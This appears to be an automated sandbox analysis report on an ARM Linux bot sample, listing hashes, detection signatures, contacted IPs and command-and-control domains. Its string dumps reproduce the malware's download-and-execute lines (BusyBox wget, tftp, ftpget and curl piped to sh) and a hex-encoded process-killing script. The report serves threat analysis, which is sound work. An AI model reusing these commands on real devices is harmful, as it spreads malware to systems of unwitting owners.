Linux Analysis Report
nklarm7.elf

Overview

General Information

Sample name: nklarm7.elf
Analysis ID: 1580214
MD5: 8cba3cb946a8dd65ea6ff952bcbebb74
SHA1: 81236952f17cf5abedd14d2b08af46c197331a7f
SHA256: d3fe96423456a1728c68c1e2e8d0f0f8d663b15ba4120d2e4883ab7a6d0578a2
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Sends malformed DNS queries
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: nklarm7.elf Virustotal: Detection: 32% Perma Link
Source: nklarm7.elf ReversingLabs: Detection: 36%
Found strings indicative of a multi-platform dropper
Source: nklarm7.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: serisbot.geek. [malformed]
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.15:38366 -> 154.216.16.250:38241
Source: global traffic TCP traffic: 192.168.2.15:59142 -> 209.38.192.73:38241
Source: global traffic TCP traffic: 192.168.2.15:57594 -> 154.216.16.244:38241
Sample listens on a socket
Source: /tmp/nklarm7.elf (PID: 5595) Socket: 127.0.0.1:39148 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 50.233.70.189
Source: unknown TCP traffic detected without corresponding DNS query: 111.174.144.206
Source: unknown TCP traffic detected without corresponding DNS query: 143.181.140.31
Source: unknown TCP traffic detected without corresponding DNS query: 177.135.68.2
Source: unknown TCP traffic detected without corresponding DNS query: 85.67.140.106
Source: unknown TCP traffic detected without corresponding DNS query: 76.246.14.141
Source: unknown TCP traffic detected without corresponding DNS query: 43.55.188.206
Source: unknown TCP traffic detected without corresponding DNS query: 33.122.251.84
Source: unknown TCP traffic detected without corresponding DNS query: 159.212.39.214
Source: unknown TCP traffic detected without corresponding DNS query: 47.96.136.85
Source: unknown TCP traffic detected without corresponding DNS query: 95.177.181.181
Source: unknown TCP traffic detected without corresponding DNS query: 4.115.235.155
Source: unknown TCP traffic detected without corresponding DNS query: 30.144.6.162
Source: unknown TCP traffic detected without corresponding DNS query: 90.124.239.201
Source: unknown TCP traffic detected without corresponding DNS query: 85.233.123.103
Source: unknown TCP traffic detected without corresponding DNS query: 80.218.134.32
Source: unknown TCP traffic detected without corresponding DNS query: 84.240.17.115
Source: unknown TCP traffic detected without corresponding DNS query: 16.34.160.195
Source: unknown TCP traffic detected without corresponding DNS query: 15.111.159.20
Source: unknown TCP traffic detected without corresponding DNS query: 184.17.107.212
Source: unknown TCP traffic detected without corresponding DNS query: 1.13.138.143
Source: unknown TCP traffic detected without corresponding DNS query: 125.27.153.47
Source: unknown TCP traffic detected without corresponding DNS query: 49.224.34.128
Source: unknown TCP traffic detected without corresponding DNS query: 57.96.159.40
Source: unknown TCP traffic detected without corresponding DNS query: 140.153.40.91
Source: unknown TCP traffic detected without corresponding DNS query: 180.2.211.149
Source: unknown TCP traffic detected without corresponding DNS query: 219.184.251.219
Source: unknown TCP traffic detected without corresponding DNS query: 207.175.116.228
Source: unknown TCP traffic detected without corresponding DNS query: 219.195.78.235
Source: unknown TCP traffic detected without corresponding DNS query: 29.156.57.96
Source: unknown TCP traffic detected without corresponding DNS query: 74.148.127.164
Source: unknown TCP traffic detected without corresponding DNS query: 140.197.185.212
Source: unknown TCP traffic detected without corresponding DNS query: 24.43.163.159
Source: unknown TCP traffic detected without corresponding DNS query: 57.212.101.91
Source: unknown TCP traffic detected without corresponding DNS query: 185.181.123.103
Source: unknown TCP traffic detected without corresponding DNS query: 150.164.72.174
Source: unknown TCP traffic detected without corresponding DNS query: 73.22.133.68
Source: unknown TCP traffic detected without corresponding DNS query: 180.62.48.125
Source: unknown TCP traffic detected without corresponding DNS query: 9.55.40.39
Source: unknown TCP traffic detected without corresponding DNS query: 49.198.201.108
Source: unknown TCP traffic detected without corresponding DNS query: 76.119.211.51
Source: unknown TCP traffic detected without corresponding DNS query: 112.25.218.163
Source: unknown TCP traffic detected without corresponding DNS query: 24.93.130.6
Source: unknown TCP traffic detected without corresponding DNS query: 31.215.74.174
Source: unknown TCP traffic detected without corresponding DNS query: 81.212.125.199
Source: unknown TCP traffic detected without corresponding DNS query: 42.150.146.244
Source: unknown TCP traffic detected without corresponding DNS query: 160.38.145.93
Source: unknown TCP traffic detected without corresponding DNS query: 164.34.78.27
Source: unknown TCP traffic detected without corresponding DNS query: 12.189.140.65
Source: unknown TCP traffic detected without corresponding DNS query: 6.140.18.186
Source: global traffic DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic DNS traffic detected: DNS query: serisbot.geek. [malformed]
Source: nklarm7.elf String found in binary or memory: http:///curl.sh
Source: nklarm7.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal52.troj.linELF@0/0@15/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/nklarm7.elf (PID: 5595) Queries kernel information via 'uname': Jump to behavior
Source: nklarm7.elf, 5595.1.0000564562be8000.0000564562d37000.rw-.sdmp Binary or memory string: bEV!/etc/qemu-binfmt/arm
Source: nklarm7.elf, 5595.1.00007fff8002d000.00007fff8004e000.rw-.sdmp Binary or memory string: Aox86_64/usr/bin/qemu-arm/tmp/nklarm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklarm7.elf
Source: nklarm7.elf, 5595.1.0000564562be8000.0000564562d37000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: nklarm7.elf, 5595.1.00007fff8002d000.00007fff8004e000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
69.53.224.232
 unknown United States
2906 AS-SSIUS false
62.2.133.166
 unknown Switzerland
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
114.109.253.223
 unknown Thailand
17552 TRUE-AS-APTrueInternetCoLtdTH false
91.121.98.217
 unknown France
16276 OVHFR false
12.77.153.122
 unknown United States
7018 ATT-INTERNET4US false
212.46.63.0
 unknown Saudi Arabia
41472 SBM-ASNSA false
23.42.205.234
 unknown United States
16625 AKAMAI-ASUS false
166.177.172.1
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
195.244.104.216
 unknown Germany
5521 PS-HAM3-ASDE false
174.178.78.221
 unknown United States
7922 COMCAST-7922US false
89.84.242.226
 unknown France
5410 BOUYGTEL-ISPFR false
98.243.160.57
 unknown United States
7922 COMCAST-7922US false
223.65.44.171
 unknown China
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
147.46.72.152
 unknown Korea Republic of
9488 SNU-AS-KRSeoulNationalUniversityKR false
113.204.27.55
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
131.231.250.251
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
146.184.8.121
 unknown United States
32720 CANON-ASNUS false
130.233.178.210
 unknown Finland
15496 AaltoUniversityFI false
145.213.202.254
 unknown Netherlands
1101 IP-EEND-ASIP-EENDBVNL false
23.114.231.12
 unknown United States
7018 ATT-INTERNET4US false
119.149.236.107
 unknown Korea Republic of
10066 GAYANET-AS-KRLGHelloVisionCorpKR false
35.175.60.212
 unknown United States
14618 AMAZON-AESUS false
29.72.174.85
 unknown United States
7922 COMCAST-7922US false
183.162.163.24
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
173.7.150.136
 unknown United States
10507 SPCSUS false
208.8.28.166
 unknown United States
1239 SPRINTLINKUS false
64.169.37.160
 unknown United States
7132 SBIS-ASUS false
59.177.68.58
 unknown India
17813 MTNL-APMahanagarTelephoneNigamLimitedIN false
14.225.246.65
 unknown Viet Nam
135905 VNPT-AS-VNVIETNAMPOSTSANDTELECOMMUNICATIONSGROUPVN false
131.106.230.152
 unknown United States
6079 RCN-ASUS false
185.218.90.100
 unknown Finland
205449 DEVNETFI false
79.81.250.43
 unknown France
15557 LDCOMNETFR false
18.22.241.209
 unknown United States
3 MIT-GATEWAYSUS false
100.242.167.50
 unknown United States
21928 T-MOBILE-AS21928US false
19.42.157.78
 unknown United States
3 MIT-GATEWAYSUS false
162.54.102.101
 unknown United States
35893 ACPCA false
197.237.248.146
 unknown Kenya
15399 WANANCHI-KE false
155.182.122.200
 unknown United States
37532 ZAMRENZM false
221.236.181.100
 unknown China
38283 CHINANET-SCIDC-AS-APCHINANETSiChuanTelecomInternetData false
143.250.247.166
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
181.11.100.74
 unknown Argentina
7303 TelecomArgentinaSAAR false
22.219.89.204
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
83.114.185.43
 unknown France
3215 FranceTelecom-OrangeFR false
188.212.225.207
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
208.38.219.215
 unknown United States
10835 VISIONARYUS false
20.230.47.166
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
147.161.39.19
 unknown Israel
1680 NV-ASNCELLCOMltdIL false
54.28.42.221
 unknown United States
14618 AMAZON-AESUS false
175.250.6.193
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
213.81.148.95
 unknown Slovakia (SLOVAK Republic)
6855 SK-TELEKOMSK false
205.195.40.171
 unknown Canada
3356 LEVEL3US false
118.221.168.77
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
26.179.41.110
 unknown United States
7922 COMCAST-7922US false
160.168.12.225
 unknown Morocco
6713 IAM-ASMA false
223.98.10.232
 unknown China
24444 CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany false
137.192.147.218
 unknown United States
5006 VOYANTUS false
191.195.242.214
 unknown Brazil
26599 TELEFONICABRASILSABR false
214.156.190.67
 unknown United States
721 DNIC-ASBLK-00721-00726US false
173.176.163.207
 unknown Canada
5769 VIDEOTRONCA false
21.139.106.240
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
181.224.143.152
 unknown Panama
32475 SINGLEHOP-LLCUS false
102.214.103.111
 unknown unknown
36926 CKL1-ASNKE false
39.23.60.218
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
123.109.219.205
 unknown Korea Republic of
38095 QRIXNETSDM-AS-KRTBroadKR false
31.110.215.105
 unknown United Kingdom
12576 EELtdGB false
96.255.184.190
 unknown United States
701 UUNETUS false
148.147.225.251
 unknown United States
18676 AVAYAUS false
75.83.11.146
 unknown United States
20001 TWC-20001-PACWESTUS false
71.255.187.187
 unknown United States
701 UUNETUS false
1.18.64.146
 unknown Korea Republic of
45996 GNJ-AS-KRDAOUTECHNOLOGYKR false
116.39.90.203
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
44.146.241.15
 unknown United States
62383 LDS-ASBE false
96.97.186.249
 unknown United States
7922 COMCAST-7922US false
174.0.27.137
 unknown Canada
6327 SHAWCA false
180.234.237.29
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
195.44.142.166
 unknown United Kingdom
1273 CWVodafoneGroupPLCEU false
22.109.0.81
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
217.79.22.40
 unknown Russian Federation
30852 VISRU false
35.94.247.125
 unknown United States
237 MERIT-AS-14US false
36.202.3.245
 unknown China
24138 CTTNETChinaTieTongTelecommunicationsCorporationCN false
37.101.56.65
 unknown Italy
9158 TELENOR_DANMARK_ASDK false
25.208.97.59
 unknown United Kingdom
7922 COMCAST-7922US false
63.220.88.0
 unknown United States
3491 BTN-ASNUS false
152.187.134.163
 unknown United States
701 UUNETUS false
91.204.193.238
 unknown Austria
48151 REDBULL-ASA-5330FuschlamSeeAustriaAT false
131.32.15.235
 unknown United States
385 AFCONC-BLOCK1-ASUS false
31.64.134.85
 unknown United Kingdom
12576 EELtdGB false
3.132.68.245
 unknown United States
16509 AMAZON-02US false
65.53.96.174
 unknown United States
3598 MICROSOFT-CORP-ASUS false
170.86.18.70
 unknown United States
7726 FITC-ASUS false
3.115.112.216
 unknown United States
16509 AMAZON-02US false
113.42.88.177
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
58.36.202.134
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
142.109.133.94
 unknown Canada
53403 MOUNT-ROYAL-COLLEGECA false
41.10.179.246
 unknown South Africa
29975 VODACOM-ZA false
209.139.5.254
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
161.211.65.62
 unknown United States
14513 DMACCUS false
5.234.189.17
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
31.204.9.159
 unknown Russian Federation
50147 CITY26-ASRU false
197.41.170.130
 unknown Egypt
8452 TE-ASTE-ASEG false

Contacted Domains

Name IP Active
serisontop.dyn 154.216.16.244 true
serisbot.geek. [malformed] unknown unknown